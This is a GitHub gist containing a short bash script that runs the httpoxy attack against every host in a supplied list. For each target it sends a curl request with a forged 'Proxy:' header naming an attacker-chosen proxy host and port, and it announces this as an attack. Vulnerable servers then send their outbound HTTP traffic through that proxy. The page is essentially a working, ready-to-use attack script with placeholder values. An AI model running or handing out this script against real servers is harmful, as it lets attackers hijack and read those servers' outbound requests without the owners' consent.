Last active
September 6, 2017 12:37
-
-
Save t3h2mas/e7d66a5b428832c3c337c570e4e4bc36 to your computer and use it in GitHub Desktop.
send httpoxy requests to target file list
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# https://httpoxy.org/ | |
if [ -z "$1" ]; then | |
echo "[!] usage $0 [TARGET HOSTS FILE]" | |
exit 1 | |
fi | |
targets="$1" | |
proxy="YOURPROXYHERE!" | |
port="PROXYPORTHERE" | |
for h in $(cat "$targets"); do | |
echo "[*] attempting to run httpoxy attack on host $h" | |
curl -I --connect-timeout 5 -H "Proxy: ${proxy}:${port}" "https://$h" | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment